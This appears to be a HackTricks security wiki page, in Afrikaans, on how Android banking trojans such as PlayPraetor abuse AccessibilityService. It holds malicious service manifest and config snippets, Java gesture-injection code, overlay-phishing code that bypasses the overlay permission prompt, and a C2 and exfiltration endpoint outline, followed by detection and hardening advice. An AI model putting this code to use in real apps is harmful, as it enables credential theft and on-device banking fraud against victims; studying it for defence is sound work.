Android Accessibility Service Abuse
Reading time: 6 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Oorsig
AccessibilityService
is geskep om gebruikers met gestremdhede te help om met Android-toestelle te kommunikeer. Ongelukkig kan dieselfde kragtige outomatiserings-API's (globale navigasie, teksinvoer, gebaarverspreiding, oortjievensters…) deur malware gebruik word om volledige afstandbeheer van die toestel sonder wortelregte te verkry.
Moderne Android-banking Trojans en Remote-Access-Trojans (RATs) soos PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda en vele ander volg dieselfde resep:
- Sosiaal-ingenieurswerk die slagoffer om 'n onwettige toeganklikheidsdiens in te skakel (die BIND_ACCESSIBILITY_SERVICE toestemming word beskou as "hoog-risiko" en vereis 'n eksplisiete gebruikersaksie).
- Maak gebruik van die diens om
- elke UI-gebeurtenis & teks wat op die skerm verskyn, vas te vang,
- sintetiese gebare (
dispatchGesture
) en globale aksies (performGlobalAction
) in te spuit om enige taak wat die operateur wil, te outomatiseer, - volle skerm oortjies bo-op wettige apps te teken met die TYPE_ACCESSIBILITY_OVERLAY venstertipe (geen
SYSTEM_ALERT_WINDOW
prompt!), - stilweg addisionele tydsbeperkings te verleen deur op die stelseldialoë op die slagoffer se naam te klik.
- Gegevens uit te voer of On-Device-Fraud (ODF) in werklike tyd uit te voer terwyl die gebruiker na 'n heeltemal normale skerm kyk.
Aansoek om die toestemming
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
Die metgesel XML definieer hoe die vals dialoog sal lyk:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
Afgeleë UI outomatisering primitiewe
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
Met slegs hierdie twee API's kan 'n aanvaller:
- Die skerm ontgrendel, die banktoepassing oopmaak, deur die UI-boom navigeer en 'n oordragvorm indien.
- Elke toestemmingsdialoog wat verskyn, aanvaar.
- Bykomende APK's via die Play Store-intensie installeer/opdateer.
Misbruik patrone
1. Overlay Phishing (Credential Harvesting)
'n Deursigtige of ondoorsee WebView
word by die vensterbestuurder gevoeg:
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
Die slagoffer tik geloofsbriewe in die vals vorm terwyl die agtergrondtoepassing dieselfde gebare ontvang – geen verdagte "teken oor ander toepassings" prompt word ooit gewys nie.
Gedetailleerde voorbeeld: die Accessibility Overlay Phishing afdeling binne die Tapjacking bladsy.
2. Toestel-fraude outomatisering
Malware-families soos PlayPraetor handhaaf 'n volgehoue WebSocket-kanaal waar die operateur hoëvlakopdragte kan gee (init
, update
, alert_arr
, report_list
, …). Die diens vertaal daardie opdragte in die laagvlak gebare hierbo, wat werklike tyd ongeoorloofde transaksies bereik wat maklik multi-faktor-authentisering wat aan daardie spesifieke toestel gekoppel is, omseil.
3. Skerm streaming & monitering
Deur die MediaProjection API met 'n RTMP-kliëntbiblioteek te kombineer, kan die RAT die lewendige framebuffer na rtmp://<c2>:1935/live/<device_id>
uitsaai, wat die teenstander perfekte situasionele bewustheid gee terwyl die Accessibility enjin die UI dryf.
PlayPraetor – opdrag & beheer werksvloei
- HTTP(S) hartklop – herhaal oor 'n hard-gecodeerde lys totdat een domein
POST /app/searchPackageName
met die aktiewe C2 antwoordgee. - WebSocket (poort 8282) – bidireksionele JSON opdragte:
update
– druk nuwe conf/APKsalert_arr
– konfigureer oortrek templatesreport_list
– stuur lys van geteikende pakketnameheartbeat_web
– hou-leef
- RTMP (poort 1935) – lewendige skerm/video streaming.
- REST eksfiltrasie –
/app/saveDevice
(vingerafdruk)/app/saveContacts
|/app/saveSms
|/app/uploadImageBase64
/app/saveCardPwd
(bank geloofsbriewe)
Die AccessibilityService is die plaaslike enjin wat daardie wolkopdragte in fisiese interaksies omskakel.
Opsporing van kwaadwillige toegankelijkheidsdienste
adb shell settings get secure enabled_accessibility_services
- Instellings → Toeganklikheid → Afgelaaide dienste – soek vir toepassings wat nie van Google Play is nie.
- MDM / EMM oplossings kan
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY
(Android 13+) afdwing om sideloaded dienste te blokkeer. - Analiseer lopende dienste:
adb shell dumpsys accessibility | grep "Accessibility Service"
Versterking aanbevelings vir toepassingsontwikkelaars
- Merk sensitiewe uitsigte met
android:accessibilityDataSensitive="accessibilityDataPrivateYes"
(API 34+). - Kombineer
setFilterTouchesWhenObscured(true)
metFLAG_SECURE
om tik/oortrek kaping te voorkom. - Ontdek oortreks deur
WindowManager.getDefaultDisplay().getFlags()
of dieViewRootImpl
API te pols. - Weier om te werk wanneer
Settings.canDrawOverlays()
of 'n nie-vertroude Accessibility diens aktief is.
Verwysings
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.